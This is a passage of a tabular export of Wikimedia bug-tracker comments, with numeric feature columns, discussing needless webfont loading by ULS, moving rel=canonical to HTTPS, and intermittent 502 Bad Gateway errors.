If I get you correctly, I'm tempted to change the bug summary from ""ULS loads many webfonts needlessly on page load"" to ""ULS should not load webfonts only because of entries in the 'Other languages' list"" (which would enhance funtionality and turn this into an enhancement request).",,,1373447925,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-7,True,2.0,0.0,0.0,1.0,1.5,4.0,0.5,1.0,0.0,2.0,1.5,3.0,0.0,1.0,0.0,3.0,0.0,6.5,11.5,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,3.0,0.5,0.0,1.0,1.0,0.0,1.0,1.5,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,12.5,1.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,2.0,8.0,3.5,1.0,7.0,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,4.0,11.5,1.5,0.0,6.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.8851092896174864,0.8181693989071038,"(In reply to comment #0)
QUOTE
QUOTE

I can imagine that this would be the statement to be challenged - I always had some squares etc. displayed for some rather exotic languages/scripts, so I'm not sure if the loading is really ""needless"" if those are now displayed correctly.

If I get you correctly, I'm tempted to change the bug summary from ""ULS loads many webfonts needlessly on page load"" to ""ULS should not load webfonts only because of entries in the 'Other languages' list"" (which would enhance funtionality and turn this into an enhancement request)."
251722,ULS loads many webfonts needlessly on page load,"(In reply to comment #3)
> Have you read comment 1 Nemo? 

Not before writing mine; I had a mid-air collision, as timestamp hints.

> I explicitly stated it is *not* a duplicate of
> those bugs.

That's not enough to actually *make* it not a duplicate ;) but devs will know.",,,1373408705,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.2115384615384617,0.8076923076923077,"(In reply to comment #3)
QUOTE

Not before writing mine; I had a mid-air collision, as timestamp hints.

QUOTE
QUOTE

That's not enough to actually *make* it not a duplicate ;) but devs will know."
251716,ULS loads many webfonts needlessly on page load,"Have you read comment 1 Nemo? I explicitly stated it is *not* a duplicate of those bugs.

The linked bugs are about optimizing performance of loading of webfonts.
This bug is about not loading them at all if not necessary.

While the existing bugs might account for suboptimal code, they can't speed up font loading itself (which might take considerable time on slow connections and waste valuable data volume on limited/expensive mobile connections).",,,1373407873,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-8,True,1.0,0.0,0.0,0.0,4.0,10.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,8.0,13.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,7.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,13.0,1.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,2.0,4.0,0.0,0.0,0.0,4.292134831460674,0.797752808988764,"Have you read comment 1 Nemo? I explicitly stated it is *not* a duplicate of those bugs.

The linked bugs are about optimizing performance of loading of webfonts.
This bug is about not loading them at all if not necessary.

While the existing bugs might account for suboptimal code, they can't speed up font loading itself (which might take considerable time on slow connections and waste valuable data volume on limited/expensive mobile connections)."
251710,ULS loads many webfonts needlessly on page load,"This looks like a duplicate of bug 49935, which also started with a report about RecentChanges.",,,1373407021,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,0.9444444444444444,"This looks like a duplicate of bug 49935, which also started with a report about RecentChanges."
251705,ULS loads many webfonts needlessly on page load,"Please note that bug 49935, bug 50836 and bug 33018 might be related but are not the same! They are probably adding to the delayed page load I'm noticing but fixing those bugs wont solve the underlying problem of needlessly loaded webfonts described in this bug!",,,1373406977,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,2.0,6.0,10.0,0.0,0.0,4.0,0.0,6.0,2.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.254901960784314,0.8431372549019608,"Please note that bug 49935, bug 50836 and bug 33018 might be related but are not the same! They are probably adding to the delayed page load I'm noticing but fixing those bugs wont solve the underlying problem of needlessly loaded webfonts described in this bug!"
53002,Point rel=canonical to HTTPS on every page,"I propose setting $wgEnableCanonicalServerLink = true everywhere, and setting $wgCanonicalServer to HTTPS on all servers except Chinese language wikis.

We did this with uz.wikipedia.org, and so we know with some confidence that it will cause Google to provide links directly to the https website. This will cause most of our traffic to go to HTTPS.

I'm filing this to create a place for discussion, rather than as an immediate action item. Before this can be done, the SSL cluster would have to be expanded significantly, assuming Ganglia capacity data is correct -- maybe by a factor of 10. It may be simplest to wait until HTTPS is sent directly to Varnish, but even then, some proper capacity calculations would be in order.

This would be an alternative to {T50402} and a significant step towards {T49832}.

Update:
>>! In T49832#1240813, @BBlack wrote:
> As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.

**See Also**:
* {T50402}
* {T49832}",Medium,50.0,1373339340,1434483779.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_description,resolved,True,c2,1,False,False,False,-8,True,1.5,0.0,0.0,1.5,0.0,4.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.5,0.0,5.5,13.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.5,0.0,2.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.0,12.0,1.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,12.5,1.0,2.0,7.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.5,13.0,6.0,0.0,0.0,0.0,3.5,0.0,0.0,2.5,0.0,2.0,0.0,0.5,0.0,4.0,0.6847826086956521,"I propose setting $wgEnableCanonicalServerLink = true everywhere, and setting $wgCanonicalServer to HTTPS on all servers except Chinese language wikis.

We did this with uz.wikipedia.org, and so we know with some confidence that it will cause Google to provide links directly to the https website. This will cause most of our traffic to go to HTTPS.

I'm filing this to create a place for discussion, rather than as an immediate action item. Before this can be done, the SSL cluster would have to be expanded significantly, assuming Ganglia capacity data is correct -- maybe by a factor of 10. It may be simplest to wait until HTTPS is sent directly to Varnish, but even then, some proper capacity calculations would be in order.

This would be an alternative to {T50402} and a significant step towards {T49832}.

Update:
QUOTE
QUOTE

**See Also**:
* {T50402}
* {T49832}"
475850,Point rel=canonical to HTTPS on every page,Done for all in: https://gerrit.wikimedia.org/r/#/c/218648/,,,1434483779,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,93,True,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Done for all in: URL
474011,Point rel=canonical to HTTPS on every page,"Note, that this has happened for 7 languages (See 8f99d5f4)

Based on https://lists.wikimedia.org/pipermail/wikimedia-l/2015-June/078214.html I imagine the other languages are not far behind.",,,1434155214,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,False,,,93,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,19.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.814814814814815,0.9629629629629629,"Note, that this has happened for 7 languages (See 8f99d5f4)

Based on URL I imagine the other languages are not far behind."
418221,Point rel=canonical to HTTPS on every page,Either way please first change the sites URL in Wikidata by contacting either @hoo or @aude. Because of an implementation detail otherwise editing language links breaks. As a side effect of such a change the language links would change to HTTPS.,,,1425037584,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,14.0,2.0,0.0,17.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,5.190476190476191,0.7857142857142857,Either way please first change the sites URL in Wikidata by contacting eitherSCREEN_NAME orSCREEN_NAME. Because of an implementation detail otherwise editing language links breaks. As a side effect of such a change the language links would change to HTTPS.
418092,Point rel=canonical to HTTPS on every page,"Either way, we'll need a deployment plan that gradually increases load going by wiki domainnames (or sets of them), rather than turning them all on at once.  I'm inclined to redirect first because we have more-immediate control there in terms of seeing and reacting to load changes.",,,1424997040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,3.0,7.0,2.0,0.0,0.0,4.068965517241379,0.8793103448275862,"Either way, we'll need a deployment plan that gradually increases load going by wiki domainnames (or sets of them), rather than turning them all on at once.  I'm inclined to redirect first because we have more-immediate control there in terms of seeing and reacting to load changes."
417473,Point rel=canonical to HTTPS on every page,"If we switched over rel=canonical first, we wouldn't have to redirect so many users. So the site would seem faster.",,,1424919226,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,False,,,78,True,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,19.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.6923076923076925,0.8846153846153846,"If we switched over rel=canonical first, we wouldn't have to redirect so many users. So the site would seem faster."
417140,Point rel=canonical to HTTPS on every page,"Generally rel=canonical will be the final step for a given site, after redirects and such are in place.  In the general case, all of that is still pending on the rest of the work in the HTTPS-by-default project, scheduled for circa end-of-March, at which point we can start deciding when and in what order various sites are enabled as part of an operational rollout plan.",,,1424888548,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,78,True,1.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,5.0,5.0,1.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,18.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7439024390243905,0.7682926829268293,"Generally rel=canonical will be the final step for a given site, after redirects and such are in place.  In the general case, all of that is still pending on the rest of the work in the HTTPS-by-default project, scheduled for circa end-of-March, at which point we can start deciding when and in what order various sites are enabled as part of an operational rollout plan."
416327,Point rel=canonical to HTTPS on every page,"How about first setting canonical to HTTPS for all projects that have signed up for the HTTPS Beta program? 
https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1424770407,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,3,True,,,77,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,23.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,14.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2272727272727275,0.9090909090909091,"How about first setting canonical to HTTPS for all projects that have signed up for the HTTPS Beta program? 
URL"
247580,Point rel=canonical to HTTPS on every page,I endorse this message.,,,1373404811,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-t2ehbpuacsu5zntrxwsh,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I endorse this message.
52891,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Intermittently, I get 502 Bad Gateway errors using HTTPS on en.wikipedia.org while logged in. The footer reads ""nginx/1.1.1.9"" or similar. <https://en.wikipedia.org/wiki/List_of_Anything_Muppets> is a sample URL. A browser window refresh solves the issue, but we should investigate and address what's causing these intermittent errors.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1373215740,1401620920.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-gowxiep2taob76ys3p3a,task_description,declined,True,c2,1,True,False,False,-8,True,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,15.0,1.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,4.0,7.0,0.0,3.0,0.0,3.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,4.328767123287672,0.7808219178082192,"Intermittently, I get 502 Bad Gateway errors using HTTPS on en.wikipedia.org while logged in. The footer reads ""nginx/1.1.1.9"" or similar. <URL is a sample URL. A browser window refresh solves the issue, but we should investigate and address what's causing these intermittent errors.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
241287,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to Andre Klapper from comment #18)
> (In reply to MZMcBride from comment #15)
> > This hasn't happened recently for me. 
> 
> If that's still the case I propose RESOLVED WORKSFORME.

Yeah, this report is not particularly actionable by now. Icinga reports were also added and are regularly acted upon, for instance:

23.48 <+icinga-wm_> PROBLEM - HTTP 5xx req/min on tungsten is CRITICAL: CRITICAL: 7.14% of data exceeded the critical threshold [500.0]
00.03 <+icinga-wm_> RECOVERY - HTTP 5xx req/min on tungsten is OK: OK: Less than 1.00% data above the threshold [250.0]",,,1401620920,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,39,True,0.0,0.0,0.0,1.0,0.5,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,7.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.5,11.5,0.5,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.5,5.5,0.0,0.0,7.5,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.4766604010025066,0.7514097744360901,"(In reply to Andre Klapper from comment #18)
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, this report is not particularly actionable by now. Icinga reports were also added and are regularly acted upon, for instance:

23.48 <+icinga-wm_> PROBLEM - HTTP 5xx req/min on tungsten is CRITICAL: CRITICAL: 7.14% of data exceeded the critical threshold [500.0]
00.03 <+icinga-wm_> RECOVERY - HTTP 5xx req/min on tungsten is OK: OK: Less than 1.00% data above the threshold [250.0]"
241284,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to MZMcBride from comment #15)
> This hasn't happened recently for me. 

If that's still the case I propose RESOLVED WORKSFORME.

> I wonder if this bug report should
> re-focus on better logging/monitoring of 502s.

We have only 5xx monitoring - if you have specific recommendations, could you put them into a separate enhancement requests?",,,1395069742,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,4.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,4.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,10.0,12.0,4.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.098039215686274,0.8627450980392157,"(In reply to MZMcBride from comment #15)
QUOTE

If that's still the case I propose RESOLVED WORKSFORME.

QUOTE
QUOTE

We have only 5xx monitoring - if you have specific recommendations, could you put them into a separate enhancement requests?"
241282,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to comment #16)
> Ori or Nemo: do you know if we graph this data (users hitting nginx gateway
> timeout errors --> 502s) anywhere or if it would be possible to do so?

Presumably they appear in https://gdash.wikimedia.org/dashboards/reqerror/ mixed with all the 5xx (I'm not able to assess how complete/precise this report is)?
If this intermittent problem has the same cause that such problems have had lately, i.e. network links at capacity, it might be more fruitful to try and set up a monitoring tool for the network like https://monitor.archive.org/weathermap/weathermap.html",,,1387377004,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,1.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,6.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,4.0,1.0,9.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,4.0,15.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,3.759493670886076,0.8354430379746836,"(In reply to comment #16)
QUOTE
QUOTE

Presumably they appear in URL mixed with all the 5xx (I'm not able to assess how complete/precise this report is)?
If this intermittent problem has the same cause that such problems have had lately, i.e. network links at capacity, it might be more fruitful to try and set up a monitoring tool for the network like URL"
241278,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",Ori or Nemo: do you know if we graph this data (users hitting nginx gateway timeout errors --> 502s) anywhere or if it would be possible to do so?,,,1387376367,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,6.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.4705882352941178,0.9117647058823529,Ori or Nemo: do you know if we graph this data (users hitting nginx gateway timeout errors --> 502s) anywhere or if it would be possible to do so?
241273,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",This hasn't happened recently for me. I wonder if this bug report should re-focus on better logging/monitoring of 502s.,,,1387376218,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,3.8846153846153846,0.9615384615384616,This hasn't happened recently for me. I wonder if this bug report should re-focus on better logging/monitoring of 502s.
241270,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","(In reply to comment #13)
> MZMcBride: Has this happened recently?

I can confirm that I received a ""502 Bad Gateway"" (nginx/1.1.19) today on enwiki when following a perfectly fine link.  The second time I followed the link, it took me where it was supposed to. 

